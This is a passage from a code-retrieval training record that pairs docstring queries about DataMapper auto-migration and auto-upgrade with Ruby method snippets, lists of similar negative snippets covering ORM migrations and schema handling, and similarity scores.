@data[name].nil?\r\n\t\t\t\ttrue\r\n\t\t\telse\r\n\t\t\t\tfalse\r\n\t\t\tend\r\n\t\tend", "def exist?\n true\n end", "def exist?\n !!@exist\n end", "def exist?\n !!@exist\n end", "def has_attribute?(attr_name)\n @attributes.has_key?(attr_name.to_s)\n end", "def has_attribute?(name)\n attributes.has_key?(name)\n end", "def exist?\n !find_exists.nil?\n end", "def field_detect(label)\n @field = fields.detect { |item| item.text.include? label }\n\n raise \"Field '#{label}' was not found on form.\" unless @field\n end", "def included?(fields)\n (fields.values.first == 1 && fields[name.to_s] == 1) ||\n (fields.values.first == 0 && !fields.has_key?(name.to_s))\n end", "def exists?\n # Always true if the object is not set as reference\n return true unless reference?\n # If we have a value, return it\n return @exists unless @exists.nil?\n ensure_grpc!\n @exists = true\n rescue Google::Cloud::NotFoundError\n @exists = false\n end", "def exists?\n # Always true if the object is not set as reference\n return true unless reference?\n # If we have a value, return it\n return @exists unless @exists.nil?\n ensure_grpc!\n @exists = true\n rescue Google::Cloud::NotFoundError\n @exists = false\n end", "def has_attribute?(name)\n @attributes.key?(name.to_s)\n end" ]
[ "0.82142496", "0.8206393", "0.8187201", "0.807928", "0.7908975", "0.7719411", "0.76879257", "0.7677455", "0.7568323", "0.75506216", "0.75404656", "0.75358814", "0.75082475", "0.7489551", "0.74803853", "0.7461857", "0.7398311", "0.7377883", "0.7287726", "0.7144906", "0.71030486", "0.7043882", "0.70240915", "0.69974405", "0.6959626", "0.69093037", "0.69087327", "0.6831471", "0.6830672", "0.6757328", "0.67424357", "0.6643915", "0.65949476", "0.6573414", "0.6564928", "0.65516996", "0.6525724", "0.65117747", "0.650754", "0.6434752", "0.64181936", "0.64162606", "0.63851655", "0.6379651", "0.63659614", "0.63659614", "0.6359246", "0.6358767", "0.6358767", "0.6358767", "0.6347928", "0.63315296", "0.6326096", "0.62976927", "0.6296975", "0.62896806", "0.62767166", "0.6251822", "0.6249277", "0.62367445", "0.62284267", "0.62250763", "0.6204934", "0.62048006", "0.62029386", "0.61977214", "0.61975634", "0.6190643", "0.61900413", "0.61570925", "0.61383945", "0.6136251", "0.61330956", "0.6128451", "0.6128451", "0.6128451", "0.61276656", "0.61263597", "0.6125293", "0.6125293", "0.61246353", "0.61218184", "0.611968", "0.6108166", "0.61060643", "0.6105506", "0.60936147", "0.60879284", "0.60872805", "0.60823166", "0.6074448", "0.6074448", "0.6071128", "0.6065302", "0.6051509", "0.6046591", "0.60455143", "0.6042088", "0.6042088", "0.60384846" ]
0.68711036
27
Destructively automigrates the datastore to match the model. First migrates all models down and then up. REPEAT: THIS IS DESTRUCTIVE
def auto_migrate! DataMapper.auto_migrate!(name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def migrate\n DataMapper.auto_migrate!\n end", "def migrate!\n @logger.fine('Dropping schema...')\n\n migrate(0) # migrate to version 0.\n migrate # migrate to latest version.\n end", "def migrate_model(pg_model, mongo_model, transform = nil)\n attributes = pg_model.attribute_names\n ActiveRecord::Base.transaction do\n mongo_model.collection.find.batch_size(100).each do |obj|\n pg_attrs = obj.slice(*attributes)\n\n # If a model specific transform is required, do it here\n pg_attrs = transform.call(pg_attrs) if transform.present?\n\n pg_model.create! pg_attrs\n end\n\n if pg_model.count != mongo_model.count\n raise \"PG and Mongo counts are in disagreement; aborting\"\n end\n end\n\n puts \"#{pg_model.count} migrated to pg\"\nend", "def auto_migrate_down!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).destroy_model_storage(self)\n else\n base_model.auto_migrate_down!(repository_name)\n end\n end", "def migrate(_key, _options); end", "def down_model(record, *args)\n # set downcase=true\n args[1] = true\n t_model(record, *args)\n end", "def migrate\n raise NotImplementedError\n end", "def cleanup\n @models.reverse_each(&:destroy_all)\n end", "def migrate(key, options); end", "def auto_migrate_up!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).create_model_storage(self)\n else\n base_model.auto_migrate_up!(repository_name)\n end\n end", "def migrate!\n Migrator.migrate(name)\n end", "def migrate!\n Migrator.migrate(name)\n end", "def sync\n model_ids_that_exist = []\n\n @model.all.each do |db_task|\n model_ids_that_exist << db_task.id\n \n if !event_exists_for_task(db_task) || task_has_changed(db_task)\n recreate_event_for_database_task(db_task)\n end\n end\n\n remove_deleted_database_tasks(model_ids_that_exist)\n end", "def reconcile!\n table_reconciles = []\n Volt::RootModels.model_classes.each do |model_class|\n table_reconciles << TableReconcile.new(@adaptor, @db, model_class)\n end\n\n # Make any missing tables\n table_reconciles.each(&:ensure_table)\n\n # Make sure the migrations are up to date first.\n Volt::MigrationRunner.new(@db).run\n\n # After the migrations, reconcile tables\n table_reconciles.each(&:run)\n\n # After the initial reconcile!, we add a listener for any new models\n # created, so we can reconcile them (in specs mostly)\n reset!\n @@listener = RootModels.on('model_created') do |model_class|\n # We do a full invalidate and wait for the next db access, because the\n # model_created gets called before the class is actually fully defined.\n # (ruby inherited limitation)\n @adaptor.invalidate_reconcile!\n end\n end", "def auto_upgrade!\n AutoMigrator.auto_upgrade(name)\n end", "def auto_upgrade!\n AutoMigrator.auto_upgrade(name)\n end", "def apply\n migration.up\n end", "def do_backed_up\n self.update_attributes(:needs_initial_scan => false)\n update_last_backup_times\n end", "def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end", "def upgrade_model_storage(repository, model)\n add_sequences(repository, model)\n super\n end", "def migrate! record\n if Swift::Associations::BelongsTo.get_association_index(record).empty?\n migrate_record(record)\n else\n migrate_associations(record)\n end\n end", "def run\n # Ensure this is never run with a dirty in-memory shard cache\n ::Switchman::Shard.clear_cache\n migrate_strands\n migrate_everything\n end", "def migrate\n run_migrations pending_migrations, :up\n end", "def seed_reset_all_model_column_info\r\n model_classes = ActiveRecord::Base.descendants\r\n model_classes.each do |klass|\r\n next unless klass.name.match('Thinkspace')\r\n klass.reset_column_information\r\n end\r\nend", "def backup\n BACKUP_MODELS.each do |obj|\n puts \"Preparing to back up #{obj}\"\n self.send(obj.to_sym)\n end \n end", "def upgrade_model_storage(model)\n model = Persevere.enhance(model)\n name = self.name\n properties = model.properties_with_subclasses(name)\n \n DataMapper.logger.debug(\"Upgrading #{model.name}\")\n \n if success = create_model_storage(model)\n return properties\n end\n \n new_schema_hash = model.to_json_schema_hash()\n current_schema_hash = get_schema(new_schema_hash['id'])[0]\n # TODO: Diff of what is there and what will be added.\n\n new_properties = properties.map do |property|\n prop_name = property.name.to_s\n prop_type = property.type\n next if prop_name == 'id' || \n (current_schema_hash['properties'].has_key?(prop_name) && \n new_schema_hash['properties'][prop_name]['type'] == current_schema_hash['properties'][prop_name]['type'] )\n property\n end.compact\n \n return new_properties unless update_schema(new_schema_hash) == false\n return nil\n end", "def dbmigrate!\n ActiveRecord::Base.establish_connection(PuppetHerald.database.spec)\n ActiveRecord::Migrator.up 'db/migrate'\n ActiveRecord::Base.clear_active_connections!\n nil\n end", "def clean_database\n [Entry, Room, User].each do |model|\n model.delete_all\n end\nend", "def reset!\n migrate_table!(:down)\n migrate_table!(:up)\n disconnect\n end", "def auto_migrate!\n AutoMigrator.auto_migrate(name)\n end", "def auto_migrate!\n AutoMigrator.auto_migrate(name)\n end", "def down\n ActiveRecord::Base.record_timestamps = false\n\n # Parse and modify the data in memory, because the JSON to modify is stored as a string in the database\n UserExportPreset.all.in_batches do |batch|\n batch.each do |uep|\n config = JSON.parse(uep.config)\n if config.dig('data', 'patients', 'query', 'workflow') == 'global'\n config['data']['patients']['query']['workflow'] = 'all'\n uep.update!(config: config.to_json)\n end\n end\n end\n\n ActiveRecord::Base.record_timestamps = true\n end", "def migrate_current_entities_and_checks\n\n current_entity_names = @source_redis.zrange('current_entities', 0, -1)\n\n current_entity_names.each do |entity_name|\n entity = find_entity(:name => entity_name)\n entity.enabled = true\n entity.save\n end\n\n current_checks_keys = @source_redis.keys('current_checks:*')\n\n current_checks_keys.each do |current_checks_key|\n\n raise \"Bad regex\" unless current_checks_key =~ /\\Acurrent_checks:(#{ENTITY_PATTERN_FRAGMENT})\\z/\n\n entity_name = $1\n\n check_names = @source_redis.zrange(current_checks_key, 0, -1)\n\n check_names.each do |check_name|\n check = find_or_create_check(entity_name, check_name)\n check.enabled = true\n check.save\n end\n\n end\n\nend", "def upgrade_model_storage(repository, model)\n raise NotImplementedError\n end", "def clean_db(prev_versions)\nputs \"CLEAN DB CALLED\"\n if Version.count > prev_versions\n to_remove = Version.count - prev_versions\n puts \"Removing #{to_remove} old versions from database\"\n Version.all(:limit => to_remove, :order => [ :processed.asc ]).each do |old_version|\n old_version.units.all.each do |old_unit|\n #old_unit.images.all.each do |old_image|\n # old_image.destroy\n #end\n old_unit.destroy\n end\n old_version.destroy\n end\n end\n end", "def auto_upgrade!\n DataMapper.auto_upgrade!(name)\n end", "def migrate(dst, *options)\n self.instances.each { |instance| instance.migrate(dst, *options) }\n end", "def reset_migrations!\n @migrations = nil\n @migrate_to = nil\n Neo4j::Transaction.run do\n Neo4j.ref_node[:_db_version] = nil\n end\n end", "def sync\n model_ids_that_exist = []\n\n @model_class.all.each do |model|\n model_ids_that_exist << model.id\n if are_different?(@database_event_registry.event_for(model), model)\n create_or_recreate_event(model)\n end\n end\n @database_event_registry.unregister_all_except(model_ids_that_exist)\n end", "def reset_migrations!\n @migrations = nil\n @migrate_to = nil\n Neo4j::Transaction.run do\n migration_meta_node[:_db_version] = nil\n end\n end", "def upgrade_model_storage(repository, model)\n raise NotImplementedError\n end", "def migrate_entities\n\n entity_keys = @source_redis.keys('entity:*')\n\n entity_keys.each do |entity_key|\n\n # TODO fix regex, check current code\n raise \"Bad regex for '#{entity_key}'\" unless entity_key =~ /\\Aentity:(#{ID_PATTERN_FRAGMENT})\\z/\n\n entity_id = $1\n\n entity_name = @source_redis.hget(entity_key, 'name')\n\n entity = Flapjack::Data::Entity.new(:id => entity_id, :name => entity_name)\n entity.save\n raise entity.errors.full_messages.join(\", \") unless entity.persisted?\n end\n\nend", "def up!\n swap_with(previous) unless first?\n end", "def migrate\n with_maintenance do\n backup if backup?\n run_migration\n restart\n end\n end", "def update_db\n ## Sequel\n drop_table\n create_table\n db.transaction do\n table.delete_sql\n install_manual\n install_updates\n end\n ## AR\n # self.transaction do\n # self.delete_all\n # self.install_manual\n # self.install_updates\n # end\n end", "def run_active_record_migrations!\n ActiveRecord::Migration.verbose = false\n ActiveRecord::Migrator.migrate([\"test/fixtures/migrate\"])\n end", "def revert!\n track_changes_save = self.class.track_changes_save\n self.class.track_changes_save = false\n self.transaction do\n content_versions.each do | c |\n if c.content.version == c.version\n c.content.revert_to(c)\n end\n end\n content_key_versions.each do | c |\n if c.content_key.version == c.version\n c.content_key.revert_to(c)\n end\n end\n end\n ensure \n self.class.track_changes = track_changes_save\n end", "def migration\n end", "def auto_migrate!(repository_name = self.repository_name)\n assert_valid\n auto_migrate_down!(repository_name)\n auto_migrate_up!(repository_name)\n end", "def migrate!(opts)\n raise NotSupportedError, \"Unable to migrate using `#{self}`\"\n end", "def up\n Build.where(stage_id: nil).each_batch(of: BATCH_SIZE) do |relation, index|\n relation.each_batch(of: RANGE_SIZE) do |relation|\n range = relation.pluck('MIN(id)', 'MAX(id)').first\n\n BackgroundMigrationWorker\n .perform_in(index * 2.minutes, MIGRATION, range)\n end\n end\n end", "def test_resets_to_min_pk_with_default_pk_and_sequence\n @instances.each do |instance|\n model = instance.class\n model.delete_all\n model.connection.reset_pk_sequence!(model.table_name)\n\n instance.save!\n assert_equal 1, instance.id, \"Sequence reset for #{model.table_name} failed.\"\n end\n end", "def convert_to(klass)\n #if !self.instance_of?(klass)\n adapted_object = self.adapt_to(klass)\n\n adapted_object.relationships.each_statement do |statement|\n if statement.predicate == \"info:fedora/fedora-system:def/model#hasModel\"\n adapted_object.remove_relationship(:has_model, statement.object)\n #puts statement.object\n end\n end\n\n adapted_object.assert_content_model\n adapted_object.save\n adapted_object\n #end\n\n end", "def migrate(klass)\n # Validate\n raise \"Unable to perform migrations, class must be specified!\" unless klass.class == Class\n raise \"Unable to perform migrations for core class!\" if CORE.include?(klass)\n raise \"Class cannot be migrated!\" unless klass.respond_to?(:auto_migrate!)\n # Execute auto migrations for now\n klass.auto_migrate!\n end", "def auto_upgrade!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).upgrade_model_storage(self)\n else\n base_model.auto_upgrade!(repository_name)\n end\n end", "def rebuild_model options = {}\n ActiveRecord::Base.connection.create_table :dummies, :force => true do |table|\n table.string :in_the_clear\n table.binary :secret\n table.binary :secret_key\n table.binary :secret_iv\n table.binary :segreto\n end\n rebuild_class options\nend", "def migrate_instances(old_class, new_class)\n instances = Maglev::Repository.instance.list_instances([old_class])[0]\n # TODO: What to do if the new class does not define a migrate_from?\n instances.each do |old_instance|\n new_instance = new_class.allocate\n new_instance.migrate_from old_instance\n new_instance.become old_instance\n end\n Maglev.commit_transaction\n rescue Exception => e\n m = \"Migration failed from #{old_class.name} => #{new_class.name}\"\n raise MigrationFailed.new(m, old_class, new_class, e)\n end", "def perform\n UpdateDb.new.update_stations\n UpdateDb.new.delete_old_stations\n end", "def clean_database\n models = [Comment, Article, Admin, User]\n if ENV['AN_USE_EXISTING_DYNAMODB_TABLE']\n ActivityNotification::Notification.where('id.not_null': true).delete_all\n ActivityNotification::Subscription.where('id.not_null': true).delete_all\n else\n models.concat([ActivityNotification::Notification, ActivityNotification::Subscription])\n end\n models.each do |model|\n model.delete_all\n end\nend", "def migrate_configuration\n puts \"migrating configuration\"\n ActiveRecord::Base.connection.execute('truncate table configuration')\n Configuration.create name: 'home', data: {headlines: [], today: [], tracklists: []}\n Configuration.create name: 'home_components', data: {headlines: 5, today: 3, tracklists: 3}\n Configuration.create name: 'navigation', data: {categories: []}\n Configuration.create name: 'about', data: {hebrew: nil, english: nil}\nend", "def reset_indecies\n puts 'Resetting AR indecies.'\n ApplicationRecord.connection.tables.each { |t| ApplicationRecord.connection.reset_pk_sequence!(t) }\n puts 'Restore complete'\n end", "def reinitialize_db\n drop_db\n initialize_db\n end", "def run_upwards\n result = request\n\n bond.applying_migrations.each do |migration|\n result = migration.up(result)\n end\n\n result\n end", "def migratevm_datastore\n begin\n vm.storage.perDatastoreUsage[0].datastore.name\n rescue Exception => e\n fail e.message\n end\n\n end", "def run\n load_migrations\n @migrations.each do |mig_class, version|\n mig_class.up\n # Add it to the schema_migrations table as well\n # This will fail if auto-migrations is only and always used,\n # as the schema_migrations table will not exist.\n SchemaMigration.find_or_create_by_version(version) rescue nil\n end\n end", "def down\n Widget.update_all data_table_id: nil\n\n [DataTableDataset, DataRow, DataTable].each do |clazz|\n clazz.delete_all\n end\n end", "def migrate_lazily(old_class_name, new_class_name, ruby_code)\n Maglev.abort_transaction\n\n old_class = remove_from_parent old_class_name\n\n compiler = RubyCompiler.new\n Maglev.persistent { compiler.compile ruby_code }\n new_class = get_path(new_class_name)[-1]\n raise \"Migrate: Can't find new version of #{new_class_name}\" unless new_class\n Maglev.commit_transaction # instance migration needs new txn context\n skip_methods = ['instance_variable_get', 'method_missing', 'puts']\n mclass = class << old_class; self end\n\n # Setup old class so that any method send, will trigger the\n # migration, and then resend on the new instance.\n Maglev.persistent do\n # If the instances have singleton classes, then those will still be\n # active under the current scheme....\n #\n # Don't override the class methods.???\n #\n old_class.module_eval do\n @@_target_class = new_class\n #puts \"Set #{self}'s target class to #{new_class}\"\n\n def method_missing(name, *args, &blk)\n new_instance = @@_target_class.allocate\n new_instance.migrate_from self\n new_instance.become self\n # At this point, self and new_instance have swapped identities, i.e.,\n # new_instance now points to the old instance. We want to execute\n # the method on the new instance, which is now self...\n self.send(name, *args, &blk)\n end\n end\n\n # Now we undefine all the methods we can on the class. Use\n # undef_method so we don't search superclasses. We'll need a few\n # methods during migration, so we skip a few.\n old_class.instance_methods(false).each { |m|\n unless skip_methods.include? m\n #puts \"-- #{old_class.inspect}: undef_method #{m.inspect} (#{m.to_sym})\"\n old_class.send(:undef_method, m.to_sym)\n end\n }\n # TODO: protect any methods needed by migration....\n mclass.instance_methods(true).each { |m|\n #puts \"-- #{self} undef_method (class) #{m.inspect}\"\n mclass.undef_method m.to_sym\n }\n end\n Maglev.commit_transaction\n end", "def migrate_from(old_instance)\n @x = old_instance.instance_variable_get :@x\n @y = @x * 3\n @migrated = true\n end", "def easy_mass_insert(model, tbl, map_func, check_counts = true)\n puts \"#{Time.now} Porting #{model.to_s}\"\n connect_to_migration_db\n obj_for_migrate = ActiveRecord::Base.connection.execute(\"select * from #{tbl} order by id asc\")\n\n # This might happen in the case of ArchivedPatient\n if obj_for_migrate.ntuples.zero?\n puts \"#{Time.now} No #{model} to port - zero found via query\"\n return {}\n end\n\n connect_to_target_db\n clean_rows = obj_for_migrate.map { |x| map_func.call x }\n\n result = model.insert_all clean_rows.reject(&:nil?)\n\n # QA\n puts \"#{Time.now} Ported #{model.count} #{model} and #{obj_for_migrate.ntuples} were in original db\"\n raise \"COUNT MISMATCH ERROR\" unless model.count == obj_for_migrate.ntuples if check_counts\n\n # Map results to new ids\n id_mapping = {}\n result.rows.each_with_index do |x, i|\n id_mapping[obj_for_migrate[i]['id'].to_i] = x[0]\n end\n\n # Spot check\n puts \"Spot check:\"\n puts \"Raw row: #{obj_for_migrate.first}\"\n puts \"Clean row: #{clean_rows[0]}\"\n puts \"Inserted record: #{model.find(id_mapping[obj_for_migrate.first['id']]).attributes}\\n\\n\"\n\n id_mapping\n end", "def down\n\t\tremove_column :gleanings, :results\n\t\trename_column :gleanings, :results_old, :results\n\tend", "def reload!\n Aura.models.each { |m| m.send :set_columns, nil }\n end", "def post_process_model(model)\n model.mark_synced!\n end", "def fix_skel_migrations(skel_dir = File.dirname(__FILE__) + '/../skel')\n # expect, remove and modify need to be fixed, add doesn't\n for verb in %w(expect remove modify)\n skel_targets(skel_dir, verb, '/db/migrate') do |src_file, target_file|\n pattern = target_file.sub(/\\d{14}/, '*')\n matches = Dir.glob(pattern)\n raise FileNotFound, pattern if matches.empty?\n raise AmbiguousMigration, matches.inspect if matches.size > 1\n File.rename(matches.first, target_file)\n end\n end\n end", "def down(&block)\n migration.down = block\n end", "def test_resets_to_min_pk_with_specified_pk_and_sequence\n @instances.each do |instance|\n model = instance.class\n model.delete_all\n model.connection.reset_pk_sequence!(model.table_name, model.primary_key, model.sequence_name)\n\n instance.save!\n assert_equal 1, instance.id, \"Sequence reset for #{model.table_name} failed.\"\n end\n end", "def normalize!\n normalize\n save\n end", "def normalize!\n normalize\n save\n end", "def destroy_removed_migrations\n # @todo Make these methods into a more DRY manner for grabbing each record type and diff'ing them.\n # \n # We create an array for each record type that includes all records that we are going to destroy. We do this by taking the previous records array, converting them to a standard array and keeping them if any previous records occur in the migrated records array.\n versions_to_remove = GuidesGenerator::Migrator::previous_versions.to_a.keep_if do |version|\n !GuidesGenerator::Migrator::migrated_versions.include?(version)\n end\n\n sections_to_remove = GuidesGenerator::Migrator::previous_sections.to_a.keep_if do |sections|\n !GuidesGenerator::Migrator::migrated_sections.include?(sections)\n end\n\n documents_to_remove = GuidesGenerator::Migrator::previous_documents.to_a.keep_if do |document|\n !GuidesGenerator::Migrator::migrated_documents.include?(document)\n end\n\n # After we have all the arrays of records to remove iterate over each array and destroy the records.\n [versions_to_remove, sections_to_remove, documents_to_remove].each {|records| records.each {|record| record.destroy}}\n end", "def reset_db\n \n end", "def generate_active_record(mdm_model, config)\n #do the code to create new classes based on model metadata\n #and load them up in the Ruby VM\n #below NOTE! Need table created first for AR\n #AR provides a #column_names method that returns an array of column names\n useconnection = nil\n mdm_model.mdm_objects.each do |mdm_object|\n klass = Class.new ActiveRecord::Base do\n #establish_connection(config)\n #AR to set the physical tablename\n before_save :diff_row\n self.table_name = mdm_object.name\n \n #below does composite keys!\n \n if mdm_object.mdm_primary_keys.size > 0\n pkeys = mdm_object.mdm_primary_keys.collect{|x| x.mdm_column.name.to_sym }\n self.primary_keys = pkeys\n @@pklist = pkeys\n puts \"-\" * 80\n puts mdm_object.name, pkeys.size\n end\n #note this is FK implementation\n # has_many :statuses, :class_name => 'MembershipStatus', :foreign_key => [:user_id, :group_id]\n\n def name\n \n end\n \n def diff_row\n #here we send changes out over to the queue\n #we need PK followed by row\n puts self.changes\n pkvals = {}\n changevals = {}\n self.class.primary_keys.each do |k|\n pkvals[k] = self.read_attribute(k)\n end\n changevals['colvals'] = self.changes\n changevals['pkeys'] = pkvals\n redis = Redis.new\n redis.publish(\"mdm:freemdm\", changevals.to_json)\n end\n end\n \n \n #NOTE will need some adjustments to fit legacy tables to AR\n Object.const_set mdm_object.name.capitalize, klass\n puts config.symbolize_keys\n klass.establish_connection(config.symbolize_keys) \n useconnection = klass.connection if !useconnection\n # eval(\"class #{klass.name}; attr_accessible *columns;end\")\n #\n generate_column_meta(klass)\n\n klass.connection.jdbc_connection.close\n end\n \n end", "def migrate_document_structure\n set_previous_migrations\n\n GuidesGenerator::Parser::doc_hash.each do |version, data|\n text = get_version_index_text(data['files'], version)\n version_record = get_or_create_version(version, text)\n\n if data['files'] then migrate_documents(data['files'], nil, version_record) end\n if data['sections'] then migrate_sections(data['sections'], version_record) end\n end\n\n destroy_removed_migrations\n end", "def roomer_reset\n roomer_set_table_name_prefix\n roomer_reset_table_name\n reset_column_information\n reset_associations\n end", "def wRestoreCollections()\n puts \"Back up commencing...\"\n Dir.chdir('/Users/jeydurai')\n system('start_mongorestore_coll.bat')\n end", "def run\n connect\n src = @source_connection\n dest = @destination_connection\n\n log \"BEGINNING MIGRATION\\n\" +\n \"-------------------\"\n\n # Iterate through table mappings\n maps.each do |table|\n log \"MIGRATING TABLE #{table.source}\"\n\n # Fetch all rows from source table\n rows = src[table.source.to_sym].all\n \n # Iterate through the records and migrate each one\n rows.each do |row|\n new_record = {}\n\n # Identify the columns we need to grab data from\n table.maps.each do |column|\n new_record.merge!(\n column.destination.to_sym => row[column.source.to_sym]\n )\n end\n\n # Insert new record to destination table\n log \" -> Inserting record into #{table.destination}\"\n dest[table.destination.to_sym].insert(new_record)\n end\n end\n\n log \"-------------------\\n\" +\n \"MIGRATION COMPLETED\"\n end", "def rollback(step = 1)\n files = File.migrated.reverse.first(step)\n Migrate::Down.new(files).perform\n end", "def update_database(messages)\n # Find all upserted records (i.e. that have a payload) and all\n # deleted record (no payload)\n removed, upserted = messages.partition(&:tombstone?)\n\n upsert_records(upserted) if upserted.any?\n remove_records(removed) if removed.any?\n end", "def migrate\n puts \"Migrating your database\"\n version = `ls db/migrate | wc -l`.to_i\n ActiveRecord::Base.establish_connection(Play.config['db'])\n ActiveRecord::Migrator.migrate(\"#{File.dirname(__FILE__)}/../db/migrate/\", version)\nend", "def auto_migrate!(repository_name = nil)\n auto_migrate_down!(repository_name)\n auto_migrate_up!(repository_name)\n end", "def clear_redis_model_attributes\n RedisModel::Schema.collection.each do |klass, _|\n if klass < RedisModel::BelongedTo && Object.const_get(klass.to_s.deconstantize) >= self.class\n self.send(klass.to_s.demodulize.underscore).del\n end\n end\n end", "def move_up\n # TODO: maybe refactor this to use acts-as-list or ranked-model\n aisles = @store.aisles\n\n # first, compact everything back down to 1-n in case a delete or something got it out of whack\n aisles.sort! { |a, b| a.position <=> b.position }\n aisles.each_with_index do |aisle, i|\n aisle.position = i + 1\n aisle.save!\n end\n\n @aisle = aisles.find(params[:id])\n original_position = @aisle.position\n if original_position > 1\n @aisle.position -= 1\n @aisle.save!\n aisles.each do |aisle|\n aisle.position += 1 if aisle != @aisle &&\n aisle.position >= @aisle.position &&\n aisle.position <= original_position\n aisle.save!\n end\n end\n redirect_to(store_aisles_url(@store.id))\n end", "def up(&block)\n migration.up = block\n end", "def drop_tables!\n migrate(:down)\n end", "def migrate\n db.create_table? table_name do\n primary_key :id\n String :ptype\n String :v0\n String :v1\n String :v2\n String :v3\n String :v4\n String :v5\n end\n end", "def migrate(data)\n keys = I18n::Translate.hash_to_keys(data, @translate.options[:separator])\n keys.each do |key|\n entry = I18n::Translate.find(key, data, @translate.options[:separator])\n next unless I18n::Translate.is_enhanced?(entry)\n %w(old t).each do |prop|\n next unless entry[prop]\n value = entry.delete(prop)\n prop = case(prop)\n when \"old\"\n \"old_default\"\n when \"t\"\n \"translation\"\n end\n entry[prop] = value\n end\n I18n::Translate.set(key, entry, data, @translate.options[:separator])\n end\n data\n end", "def run_migrate\n manage_py_execute('migrate', '--noinput') if new_resource.migrate\n end", "def test_unflatten_model\r\n comm = @mymodel.commentary = 'should be able to recover'\r\n desc = @mymodel.description\r\n name = @mymodel.name\r\n ident = @mymodel.ident\r\n \r\n data = @mymodel.flatten_data\r\n Model.delete(@mymodel)\r\n\r\n seco = Model.model_from_data(data)\r\n\r\n assert_equal(ident, seco.ident) \r\n assert_equal(name, seco.name)\r\n assert_equal(desc, seco.description)\r\n assert_equal(comm, seco.commentary) \r\n \r\n end", "def reset_db_peak_sequence\n ActiveRecord::Base.connection.tables.each do |t|\n ActiveRecord::Base.connection.reset_pk_sequence!(t)\n end\nend", "def reset_db_peak_sequence\n ActiveRecord::Base.connection.tables.each do |t|\n ActiveRecord::Base.connection.reset_pk_sequence!(t)\n end\nend", "def sync_up\n simulator.sync_up\n end", "def move_up\n #get current order of step\n i = self.step_order\n saved = false\n experiment = self.experiment\n\n unless i == 1 \n # increment the order of the previous step\n other_step = experiment.steps.find_by_step_order(i - 1) \n other_step.step_order = i\n self.step_order = i - 1\n \n saved = self.save && other_step.save\n end\n saved\n end" ]
[ "0.65622514", "0.6364729", "0.63607514", "0.6336633", "0.6294284", "0.6189633", "0.6035296", "0.60217565", "0.6014795", "0.60144323", "0.59986615", "0.59983766", "0.5940333", "0.59013444", "0.58998394", "0.58998394", "0.5865882", "0.5846255", "0.5831628", "0.57997966", "0.57906455", "0.57858604", "0.57846475", "0.5728589", "0.57272226", "0.5704414", "0.56990355", "0.5691294", "0.5667242", "0.5655175", "0.5655175", "0.5653716", "0.56310207", "0.56223506", "0.5614991", "0.5608294", "0.5581735", "0.55757326", "0.556639", "0.55495346", "0.5538226", "0.55345756", "0.55258566", "0.5523823", "0.55226797", "0.5500384", "0.5495263", "0.5488578", "0.54711556", "0.5443613", "0.5432029", "0.54262316", "0.5425417", "0.5422163", "0.53975636", "0.53925073", "0.5383022", "0.5378511", "0.5372666", "0.5362692", "0.5351296", "0.535021", "0.5347546", "0.5347128", "0.534261", "0.53333664", "0.5330967", "0.5323473", "0.5314772", "0.53086615", "0.53057945", "0.52920336", "0.52911615", "0.52900815", "0.52779007", "0.5259339", "0.5259339", "0.5257557", "0.5252019", "0.5251662", "0.52443874", "0.5239001", "0.5236947", "0.5227778", "0.5219363", "0.52175146", "0.52110595", "0.52102154", "0.52010876", "0.5184841", "0.5184119", "0.51781756", "0.5162927", "0.5157997", "0.51567113", "0.51565224", "0.51545453", "0.51545453", "0.51509756", "0.51476777" ]
0.60883516
6
Safely migrates the datastore to match the model preserving data already in the datastore
def auto_upgrade! DataMapper.auto_upgrade!(name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def migrate\n DataMapper.auto_migrate!\n end", "def migrate(_key, _options); end", "def migrate\n raise NotImplementedError\n end", "def upgrade_model_storage(repository, model)\n raise NotImplementedError\n end", "def upgrade_model_storage(model)\n model = Persevere.enhance(model)\n name = self.name\n properties = model.properties_with_subclasses(name)\n \n DataMapper.logger.debug(\"Upgrading #{model.name}\")\n \n if success = create_model_storage(model)\n return properties\n end\n \n new_schema_hash = model.to_json_schema_hash()\n current_schema_hash = get_schema(new_schema_hash['id'])[0]\n # TODO: Diff of what is there and what will be added.\n\n new_properties = properties.map do |property|\n prop_name = property.name.to_s\n prop_type = property.type\n next if prop_name == 'id' || \n (current_schema_hash['properties'].has_key?(prop_name) && \n new_schema_hash['properties'][prop_name]['type'] == current_schema_hash['properties'][prop_name]['type'] )\n property\n end.compact\n \n return new_properties unless update_schema(new_schema_hash) == false\n return nil\n end", "def prevent_double_save_bug\n false if self.persisted?\n end", "def persist\n model.update persistance_data\n end", "def upgrade_model_storage(repository, model)\n raise NotImplementedError\n end", "def migrate_model(pg_model, mongo_model, transform = nil)\n attributes = pg_model.attribute_names\n ActiveRecord::Base.transaction do\n mongo_model.collection.find.batch_size(100).each do |obj|\n pg_attrs = obj.slice(*attributes)\n\n # If a model specific transform is required, do it here\n pg_attrs = transform.call(pg_attrs) if transform.present?\n\n pg_model.create! pg_attrs\n end\n\n if pg_model.count != mongo_model.count\n raise \"PG and Mongo counts are in disagreement; aborting\"\n end\n end\n\n puts \"#{pg_model.count} migrated to pg\"\nend", "def migrate! record\n if Swift::Associations::BelongsTo.get_association_index(record).empty?\n migrate_record(record)\n else\n migrate_associations(record)\n end\n end", "def migrate_entities\n\n entity_keys = @source_redis.keys('entity:*')\n\n entity_keys.each do |entity_key|\n\n # TODO fix regex, check current code\n raise \"Bad regex for '#{entity_key}'\" unless entity_key =~ /\\Aentity:(#{ID_PATTERN_FRAGMENT})\\z/\n\n entity_id = $1\n\n entity_name = @source_redis.hget(entity_key, 'name')\n\n entity = Flapjack::Data::Entity.new(:id => entity_id, :name => entity_name)\n entity.save\n raise entity.errors.full_messages.join(\", \") unless entity.persisted?\n end\n\nend", "def migrate(key, options); end", "def migratevm_datastore\n begin\n vm.storage.perDatastoreUsage[0].datastore.name\n rescue Exception => e\n fail e.message\n end\n\n end", "def normalize!\n normalize\n save\n end", "def 